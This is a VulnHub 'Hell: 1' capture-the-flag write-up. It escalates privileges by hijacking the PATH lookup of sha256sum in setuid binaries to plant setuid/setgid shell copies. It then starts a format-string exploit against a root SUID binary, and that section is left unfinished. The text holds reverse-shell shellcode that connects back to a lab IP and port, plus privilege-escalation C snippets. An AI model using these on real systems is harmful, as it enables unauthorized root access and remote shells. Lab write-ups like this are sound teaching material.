published on in writeup
tags: hell

Hell: 1 - Part 2


With this private key, I was able to SSH in as another user, Bazza. Within his home directory are two binary files with some interesting permissions.

-r-xr-sr-x 1 oj   developers 6239 Jul  6 18:39 part1
-r-sr-xr-x 1 oj   oj         5312 Jul  6 18:34 part2

[email protected]:~$ ./part1
Checking integrity of part2... Done!!
Checking integrity of calling target... Done!!
Binary and target confirmed.
Can't touch this *nah na na na na naaaaaaaa nah*
uid=1004(bazza) gid=1004(bazza) euid=1005(oj) egid=1003(developers) groups=1005(oj),1004(bazza)

[email protected]:~$ ./part2
Error! 1004 ID detected ... you're not allowed to run this, please use part 1!

These binaries are readable, so can be run through strings.

[email protected]:~$ strings part1
900462fbf9593f1a4b753f1729c431abc80932a151e9b293e13822a91f9641c1  /home/bazza/part2
1003a011c5bdb65a07a8f92feb6b7d7ecbf3a3ff0f2a46abbe5c777c525996d8  /usr/bin/id
sha256sum /home/bazza/part2
sha256sum /usr/bin/id

There are hardcoded sha256 sums which are compared with the output of sha256sum. Fortunately the sha256sum path is not hardcoded, meaning it relies on the environmental path variables. This can be abused as previously, to fool these binaries to execute arbitary code of our own making.

Part1 has the SUID bit set on the group (developers); Part2 checks the EGID of the user running it and has the SUID bit set on owner (oj).

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main()
        system("/bin/cp /bin/sh /tmp/sh");
        system("/bin/chmod g+s /tmp/sh");
[email protected]:~$ ./part1
[email protected]:~$ /tmp/sh
$ id
uid=1004(bazza) gid=1004(bazza) egid=1003(developers) groups=1004(bazza)
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main()
        system("/bin/cp /bin/sh /tmp/oj");
        system("/bin/chmod u+s /tmp/oj");
$ ./part2
$ /tmp/oj
$ whoami

Now I am OJ (I wish I was as good as OJ) :)


This is the final hurdle, but it’s a doosy. There is a binary, echo in his home directory, owned by root and has the SUID bit set.

-r-sr-xr-x 1 root root 592549 Jul  5 21:12 echo

It takes user input and echo’s it back - simple. Playing with the input, I found that it has a string format vulnerability, which will ultimately allow hijack of the application flow.

[email protected]:~$ ./echo AAAA%p

First, I need to check for protections.

[email protected]:~$ ./ --file echo 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   echo

[email protected]:~$ cat /proc/sys/kernel/randomize_va_space 

It was a bit of a pain to find my string on the stack, but I eventually found it to be at 116th position.

[email protected]:~$ ./echo `printf 'AAAA%%116$p'`

Hopefully, I will be able to overwrite the address for printf with the location of my own shellcode.

$ export SHELLCODE=$(python -c 'print "\x90" * 500 + "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x7f\x65\x68\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"')

$ ./addr SHELLCODE

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
   printf("%#x\n", getenv(argv[1]));
   return 0;

The binary is statically linked, so we can’t do things such as p system in gdb or objdump -R to obtain the GOT. We shall have to overwrite the destructor (DTOR) instead.

[email protected]:~$ nm echo | grep -i dtor
080481e0 t __do_global_dtors_aux
080c9614 t __do_global_dtors_aux_fini_array_entry

to be completed


Congratulations of beating Hell. 
I hope you enjoyed it and there weren't to many trolls in here for you. 
Hit me up on in #vulnhub with your thoughts (Peleus) or follow me on twitter @0x42424242
Flag: a95fc0742092c50579afae5965a9787c54f1c641663def1697f394350d03e5a53420635c54fffc47476980343ab99951018fa6f71f030b9986c8ecbfc3a3d5de


This was a really tough challenge, and I wouldn’t have been able to complete it without the collaboration of the other guys in #VulnHub. Special thanks go to:

  • recrudesce - it was great fun working alongside you for most of the way;
  • barrebas - for your general pointers and guidance, and;
  • c0ne - for graciously donating your python split code.